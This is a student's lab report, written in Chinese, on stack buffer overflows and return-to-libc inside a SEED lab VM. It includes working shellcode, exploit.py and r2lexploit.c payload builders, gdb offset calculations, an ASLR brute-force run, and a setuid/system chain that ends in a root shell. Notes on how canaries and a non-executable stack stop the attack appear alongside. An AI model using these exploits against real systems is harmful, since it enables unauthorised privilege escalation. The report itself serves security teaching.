57117121 聂榕

I. Buffer Overflow

Task1

```
[09/03/20]seed@VM:~/Lab/lab2$ gedit task1.c
[09/03/20]seed@VM:~/Lab/lab2$ gcc -z execstack -o task1 task1.c
[09/03/20]seed@VM:~/Lab/lab2$ ./task1
$
```

运行结果是启动了一个新 shell。

Task2

首先通过 gdb 查看 stack.c 生成的程序的，在进入 bof 函数后的堆栈结构。

stack.c 我们修改一下：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char Buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(Buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
```

其实就是将原本的 bof 函数中的 buffer 变量名改为 Buffer

gdb 显示：

```
Breakpoint 1, bof (str=0xbfffeb67 "a\n\003") at stack.c:15
15      strcpy(Buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb28
gdb-peda$ p &Buffer
$2 = (char (*)[24]) 0xbfffeb08
gdb-peda$ p/d 0xbfffeb28-0xbfffeb08
$3 = 32
gdb-peda$
```

那么对于 exploit.c 中需要补充的部分应该如下考虑：

其中的 buffer[517], 就是存储写入 badfile 文件数据的数组。Shellcode 应放在该数组的后部，可以是最后，也可以是稍靠前。最关键的是 return address 的覆盖问题。上面 gdb 调试中，

看到，ebp 寄存器的值减去 Buffer 头位置为 32。那么 return address 距离 Buffer 头部为 36。那么对应的，exploit.c 中的 buffer[36]开始往后的四字节，就会覆盖掉 return address。那么我们就应该往 buffer[36] buffer[37] buffer[38] buffer[39]中添加我们想要的 return address。那么应该填多少呢？仍然从 gdb 的显示中求，ebp 值为 0xbfffeb28，那么 return address 的起始位置就是 0xbfffeb28+0x4=0xbfffeb2c，那么再加 4 就是 return address 之后的位置，是 0xBFFF EB30。经过一些尝试后发现，如果刚刚好到达 return address 后或是往后 55 个字节以内，都无法成功执行 shell。所以最终选择了 0xbfffeb28+110=0xbfffeb96 我们就将这个值填充到 buffer[36]开始往后的四字节。

```
for (int i = 0; i < 25; i++)
        {
                buffer[490 + i] = shellcode[i];//insert shellcode
        }
buffer[36]=150;//insert return address
buffer[37]=235;
buffer[38]=255;
buffer[39]=191;
```

```
[09/04/20]seed@VM:~/Lab/lab2$ ./exploit
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Task3

dash_shell_test.c 部分

注释掉 setuid()函数时结果：

```
[09/04/20]seed@VM:~/Lab/lab2$ sudo rm /bin/sh
[09/04/20]seed@VM:~/Lab/lab2$ sudo ln -sf /bin/dash /bin/sh
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~/Lab/lab2$ dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$
```

去掉注释：

```
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root dash_shell_test_setuid
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 dash_shell_test_setuid
[09/04/20]seed@VM:~/Lab/lab2$ dash_shell_test_setuid
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

exploit 部分：

这次我们使用 python：

```
import sys
shellcode= (
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
"\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
######################################################################
ret = 0xBFFFEB28+55 # replace 0xAABBCCDD with the correct value
offset = 36 # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
######################################################################
# Write the content to badfile
with open('badfile', 'wb') as f:
 f.write(content)
```

执行结果

```
[09/04/20]seed@VM:~/Lab/lab2$ python3 exploit.py
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

获得了 root 权限的 shell。因为在调用 execve 的指令之前加入了调用 setuid(0)的指令。

Task4

执行脚本结果如下:

```
0 minutes and 55 seconds elapsed.
The program has been running 48288 times so far.
./task4.sh: line 13: 20424 Segmentation fault      ./stack
0 minutes and 55 seconds elapsed.
The program has been running 48289 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

第 48290 次成功撞到。

Task5

编译开启 canary 后执行 stack:

```
[09/04/20]seed@VM:~/Lab/lab2$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~/Lab/lab2$ gcc -o stack -z execstack  stack.c
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root stack
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 stack
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[09/04/20]seed@VM:~/Lab/lab2$
```

显示检测到堆栈被破坏。

Task6

关闭 canary，关闭堆栈可执行选项编译并运行 stack:

```
[09/04/20]seed@VM:~/Lab/lab2$ gcc -o stack -fno-stack-protector -z noexecstack s
tack.c
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root stack
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 stack
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
Segmentation fault
[09/04/20]seed@VM:~/Lab/lab2$
```

显示 segmentation fault。

因为我们的指令放在了 stack 中，但是关闭关闭堆栈可执行选项后，系统只会执行代码段指令。

II.Ret2libc

Task1

查看 system 和 exit 函数的位置:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Task2

编写如下程序:

```c
#include<stdio.h>
#include<stdlib.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
```

```
[09/04/20]seed@VM:~/Lab/lab2$ env | grep MYSHELL
MYSHELL=/bin/sh
[09/04/20]seed@VM:~/Lab/lab2$ ./getmyshell
bffffe14
[09/04/20]seed@VM:~/Lab/lab2$
```

可以看到，/bin/sh 被存在 0xbffffe14。

Task3

首先仍然使用 gdb 调试器查看 retlib.c 中 bof 函数执行时，字符串 Buffer 头地址距离 ebp 的长度。

```
Breakpoint 1, bof (badfile=0x804b008) at retlib.c:16
16      fread(Buffer, sizeof(char), 300, badfile);
gdb-peda$ p &Buffer
$1 = (char (*)[12]) 0xbfffece4
gdb-peda$ p $ebp
$2 = (void *) 0xbfffecf8
gdb-peda$ p/d 0xbfffecf8-0xbfffece4
$3 = 20
gdb-peda$
```

可以看到距离为 20。

那么对于生成 badfile 的程序 r2lexploit.c

我们应该在字符串第 24 位开始填写 system()的地址，28 位处开始填写 exit()的地址，32 位处开始填写 MYSHELL 变量的地址。

system()和 exit()的地址是确定的，但是/bin/sh 的值，task2 只为我们提供了一个约数。最开始经过几次尝试，都会出现以下结果

```
[09/05/20]seed@VM:~/Lab/lab2$ ./r2lexploit
[09/05/20]seed@VM:~/Lab/lab2$ ./retlib
[09/05/20]seed@VM:~/Lab/lab2$ gedit r2lexploit.c
```

也就是 retlib 运行以后，没有任何提示信息。我怀疑是离得/bin/sh 字符串太远了。

然后我采用了一个笨办法，既然这个位置不同的原因因为程序路径名字也是环境变量的一部分，那就把 task2 中的程序可执行文件命名为与 retlib 长度同样长的程序，并且以同样参数编译，并设置为 setuid 程序并运行：

```
[09/05/20]seed@VM:~/Lab/lab2$ gcc -g -fno-stack-protector -z noexecstack -o mysh
el getmyshell.c
[09/05/20]seed@VM:~/Lab/lab2$ sudo chown root myshel
[09/05/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 myshel
[09/05/20]seed@VM:~/Lab/lab2$ ./myshel
bffffe1c
```

然后生成 badfile 的程序为：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[32] = 0xbffffe1c ; // "/bin/sh"
*(long *) &buf[28] = 0xb7e369d0 ; // exit()
*(long *) &buf[24] = 0xb7e42da0 ; // sytem()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
```

运行结果：

```
[09/05/20]seed@VM:~/Lab/lab2$ ./r2lexploit
[09/05/20]seed@VM:~/Lab/lab2$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

成功获得 root 权限的 shell

关于在 gdb 中查看环境变量之后再填充的方法，

在 gdb 中可以使用命令 x/100s *((char **)environ)查到环境变量的位置，retlib 调试中如下：

```
0xbfffdf2:      "XDG_SESSION_DESKTOP=ubuntu"
0xbffffe0d:     "MYSHELL=/bin/sh"
0xbffffe1d:     "QT4_IM_MODULE=xim"
```

根据上述成功的范例的地址 0xbffffe1c，与这里对照，发现应填充的是 MYSHELL 变量的下一个变量的开始地址-1

之前也有尝试使用这种查看地址的方法，但是就是因为不知道在 0xbffffe0d 开始到 0xbffffe1c 结束这 16 个字节里到底应该用哪一位的值，看 gdb 里这个表述形式我一直以为应该是取第一个“/“的地址，这里也就是 0xbffffe0d+8，但是不行（如果这 16 个字节存的就是”MYSHELL=/bin/sh”这个字符串的话）。

在以 retlib.c 编译形成一个新执行文件 retlibtest2，以同样的编译参数同样的权限设置验证上述想法：

gdb 调试：

```
0xbffffe08:     "MYSHELL=/bin/sh"
0xbffffe18:     "QT4_IM_MODULE=xim"
```

那么我们应该在溢出区域填写的/bin/sh 的地址应该是 0xbffffe17，修改生成文件程序后运行结果如下：

```
[09/05/20]seed@VM:~/Lab/lab2$ gedit r2lexploit.c
[09/05/20]seed@VM:~/Lab/lab2$ gcc -o r2lexploit r2lexploit.c
[09/05/20]seed@VM:~/Lab/lab2$ ./r2lexploit
[09/05/20]seed@VM:~/Lab/lab2$ ./retlibtest2
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Task4

打开虚拟地址随机化，gdb 调试 retlibc 程序:

第一次:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7535da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75299d0 <__GI_exit>
gdb-peda$ quit
```

第二次:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb759bda0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb758f9d0 <__GI_exit>
gdb-peda$
```

system 和 exit 函数的地址都发生了变化

查看环境变量:

```
0xbf864e0d:      "MYSHELL=/bin/sh"
0xbf864e1d:      "QT4_IM_MODULE=xim"
```

```
0xbfba7e0d:      "MYSHELL=/bin/sh"
0xbfba7e1d:      "QT4_IM_MODULE=xim"
```

两次的结果也是不同的。

我们先不考虑 exit 入口的随机问题，

如果 system 和环境变量的位置分布可能都是 2 的 19 次方的话，那么总共的可能情况就有 2 的 38 次方。以一秒钟可以执行 870 次（来自之前的情况），全部执行完需要 3 亿秒，即使一半也有 1.5 亿秒，能碰到的概率很小。

Task5

关闭虚拟地址随机化

查看 setuid 入口。

```
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
```

课中讲到了，如果要连续返回多个无参数的函数，将他们的 return address 连续填充到溢出区域即可。

原本我们填充的顺序是这样的:

system()入口地址 | exit()入口地址 | system()的参数

那么如果假设 setuid 没有参数:

setuid()入口地址 | system()入口地址 | exit()入口地址 | system()的参数

我们看到在之前 task 中，system 参数所存储的位置和 system 的入口所存储的位置中间，差了 4 字节，那么这对 setuid()同样适用。所以，填充顺序应该这样：
setuid()入口地址 | system()入口地址 | setuid()参数 | system()的参数
那么我们看到 exit 被覆盖了，也就是说这样的话无法正常退出，不过对提权过程还是没有问题的。
生成 badfile 程序如下：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[36] = 0xbffffe1c ; // "/bin/sh"
*(long *) &buf[32] = 0x0 ; // "0"
*(long *) &buf[28] = 0xb7e42da0 ; // system()
*(long *) &buf[24] = 0xb7eb9170 ; // setuid()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
```

运行结果：

```
[09/05/20]seed@VM:~/Lab/lab2$ ./r2lexploit
[09/05/20]seed@VM:~/Lab/lab2$ ./retlib
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
[09/05/20]seed@VM:~/Lab/lab2$
```

可以看到确实没有正常退出。